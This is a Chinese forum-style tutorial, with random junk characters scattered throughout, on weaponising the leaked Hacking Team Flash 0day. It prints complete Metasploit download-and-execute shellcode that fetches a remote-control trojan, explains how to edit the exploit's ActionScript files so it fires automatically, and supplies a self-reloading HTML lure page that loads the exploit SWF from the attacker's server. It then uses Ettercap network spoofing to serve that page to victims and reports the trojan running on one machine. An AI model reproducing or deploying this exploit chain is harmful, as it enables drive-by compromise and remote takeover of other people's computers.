flash 0day之手工代码修改制作下载者实例入侵演示

admin

三、flash 0day之手工代码修改制作下载者实例入侵演示

& \; [% Q: \1 T0 u3 }* e* W

! X% K U+ \- U% J6 B2 I# ? 利用到的工具： * Y2 t! g; x' I5 E

; A: F5 h& ]: I- D Msf

% u$ [- S. g2 J, ?3 G

: a4 n. ?: I6 A0 y( p5 T Ettercap

Adobe Flash CS6 - }1 n P9 Y, j

/ \5 @! F; N4 ^- ?; p

( ]# M2 y) ?+ z7 S t% L Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 & {* i! C( X$ x M* k9 ^2 O

: c: Y1 O% [/ m

% x! C, i% k3 A! G9 d5 M( q1 P 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options

如图：

6 O8 w$ {! y1 v6 V6 e8 b7 W9 h

3 \6 u6 w8 k5 H# z! |& Y; t1 z4 [  

5 P4 k/ ~6 H: }" A- t/ J

 

4 r2 k' a/ x' G

然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 2 E8 s. V2 G4 n% F6 {2 x' Z

6 A; b% c6 j( R+ r+ `9 D

 

m( d% e/ Q! V3 H' H* l7 ~   8 H: m1 }# J/ R" F- ^. j$ t! F. c

( Y" }' j- i/ U- b$ G4 P 然后执行generate -t dword生成shellcode，如下：

; L2 ?; q) [+ \4 Z+ X/ q* N0 G

9 j* M+ B7 x- Z. V7 |9 O   : X6 L- g6 _( R. [6 @

/ |/ ^* m S4 a$ S u

- \& T5 g8 ~4 v 复制代码到文本下便于我们一会编辑flash exp，如下：

0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 0 I" O8 k$ y# O0 c1 H4 T0 e

\0 H) i4 h" ?( r 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 3 Z8 y$ B) s/ f

: f6 a1 w1 w/ S+ o

( s8 F8 j j3 P; k0 S% s 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,

' Z8 t, p9 ?1 g6 z4 _ 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, ! ?. u7 L X# d4 f1 X

0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,

T9 A( R2 h, d- o! K* P" L 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 2 K: I' i1 i! G* A/ D# E9 z/ g

3 q6 H) a# [3 Z9 A/ C8 ?

7 B* d" W% n" |4 J' b 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,

' W% L$ }8 v5 x& d& {) N; B

0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,

0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,

0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, / v( A3 d W: I

0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, # V2 g g2 N9 F# O1 z: U1 B B

7 @! }$ s$ H u0 v" Q ? 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,

0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 7 l f1 J3 s3 z# f

( h. k$ a p8 Z6 R2 D D& O( |

! {" T$ L3 `/ m0 P9 R 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000

( [, }% o3 A% f( _. N4 z

 

 

下面我们来修改flash 0day exp，需要修改三个文件，分别为：

 

" u& f* l2 @& @7 u

" T2 j! x3 I: r$ J" r 先修改ShellWin32.as，部分源代码如图：

$ h0 P8 A# w% W9 ~   ! k7 R9 o$ C2 C! T4 U) x( @

* j+ }& }$ x- {, n) ]

我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： : y0 v. R! U) \/ [; o* t

9 D5 X+ T! `, e U6 S. E. [& L   4 z, n, r' Y& }5 r- i5 d

然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： - [' g, ~# K% a) C

+ d; t6 C! `) H% Y" H

  - Z4 _' e6 e2 E1 U

- K1 x0 x0 q3 v; P7 W7 ~+ p6 K

" P: x3 V0 Y. k$ l# q4 q% C5 K8 K$ ^ 换行在后面加一句TryExpl();注意是l不是数字1，然后如图： ; c B+ S, W! t/ S

! Y; `6 G+ G) F6 o

  4 K- O9 d& M$ d$ k8 J p

 

- o6 O! y9 @$ E  

+ j- ]7 }. \% I& Z$ u* l3 B2 e

然后点保存，下面我们来编译一下，打开 0 e/ h+ P1 K8 s' x! Z

exp1.fla然后点文件-发布，看看编译没错误 , _" _' b! D6 M% H9 h# L% G( ^

2 d& u3 z- ]0 C

 

( H- e& J8 t5 C

9 H! o$ ~4 ?3 v* D5 Q   ) I- V7 y- F% @

 

0 f& C* s# K$ R; N6 k0 }9 K

 

, o E. [1 O5 b: m( Z* d- E& R

) N3 q& @; O9 o& c& v/ v 然后我们把生成的

exp1.swf丢到kailinux 的/var/www/html下： 4 d" z" }- R/ K9 f9 i0 v

然后把这段代码好好编辑一下 7 z# G: k0 o+ ?7 W

: z6 d9 T3 ^0 e' S3 h

+ |+ L. r. J9 ?* O! q   ! a" d Y4 |5 l

; Y/ K" V& b ]  

' y0 {5 l* \; G  

' z- K( J( y' e& `% i O   9 Z( i# c, X$ o, o1 G% ?( D6 ?

% X9 Z+ m" ^: ?0 {; y

1 K% M9 {# r$ ~: V3 p7 h4 t) B   $ ^3 C1 K% X7 P

. n& a5 w! _" ?5 M7 e

  + a6 y3 r& D! ]: _# y

) r) h/ T& ^) d* l- G, E4 T

<!DOCTYPE html>

2 J+ w0 u; T+ O

$ [0 n; P: q8 R3 G: L. m4 z <html>

' l+ O5 d/ t6 I6 n) f% r0 p <head> : P6 q+ M/ {% D- \' n4 @8 |

% O1 a& |. X: H! f6 l

<meta http-equiv="Content-Type" content="text/html;

6 h% _0 d0 C0 P# [

# n/ t3 J2 H7 p; z$ d% D' c% g; w charset=utf-8"/>

1 I/ _8 w2 X3 N" l3 g* E

& @2 b) x% A1 ^( k" E, } </head> R4 c2 m. j* P, [) E

# K2 I8 X# ]* n6 Q& e0 V <body>

<h2> Please wait, the requested page is loading...</h2> 5 R' o7 l! |2 s/ B" i% Y

<br>

! d' _( C2 f( J; x

<OBJECT $ g$ O8 x3 D8 u7 R+ d D

2 O7 V& D0 D* M3 Y( H2 M5 W$ E- V/ _

) M; Y6 X, ]9 l; |* B' v classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie

8 _5 s# p1 ~: X- a! p! I4 T! ] VALUE="http://192.168.0.109/exp1.swf"></OBJECT> ! [; i( ^0 C2 o

4 y' |* w5 J: X0 G4 h </body> ( R7 Q# M6 v0 d! s" b. l( m

<script>

6 z; F) {* a" S' o) B. c, V

    setTimeout(function () {

- S e8 v _5 t, g7 j6 W% Q4 _

$ E3 N3 [3 ^' o) ?2 @1 @# }         

" I/ N: o6 c& ~7 S

window.location.reload();

, H: D9 \" [1 h1 R! i' I1 \# z8 X     }, 10000); 8 `# \: z' v1 a& j; P- O7 ~0 y

) L; W4 s+ H3 u# `5 z/ s; [

7 |5 X8 c' r1 C  

; O8 T: e2 |! Q# B! B$ \% h

/ [6 q8 M0 W/ o$ {5 b </script> ! |- M: M' d- r% B

7 P( _) w2 W, l! [ </html> 5 I3 \: B* C: G y4 E, ] r% u+ N! Q

0 s* F, Q1 R0 j" W

! F# A* F6 E$ ^* Z+ H   1 y5 l7 }0 Y6 Q& T+ f2 e' h

, l; o8 p% G8 x" U$ G" K

注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：

 

3 G! h- ]* z( [& P+ P+ Z+ i7 U

Q/ r& u8 O4 S   ; W N# U6 [: R: P3 J: W- u

  , [% E& m8 Y0 i% v3 \

  . }; _; _' P2 H3 k: e. d

  5 Q6 ~ x1 [; j1 w, S& e

下面我们用ettercap欺骗如图： 0 z+ x' W( {: L/ Q4 c! K' m

/ u3 b9 L4 J; h7 V; N9 V   ! r7 ~: _( H& Q6 j0 X, s- v3 h

" y! d3 W& k1 o" S1 M6 x

0 L1 i1 n0 X4 C! \$ D   2 K' n; C$ m& }" [; F

9 _9 J9 }, Q7 D( V! \- |' G 下面我们随便访问个网站看看：

. ?" R0 I3 m4 @0 B' K+ k

我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： & g& B1 j2 l* P

 

6 D3 {1 n4 P3 c5 {

我们看另一台，

3 x) ~3 c5 i1 A' V; m0 |

提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。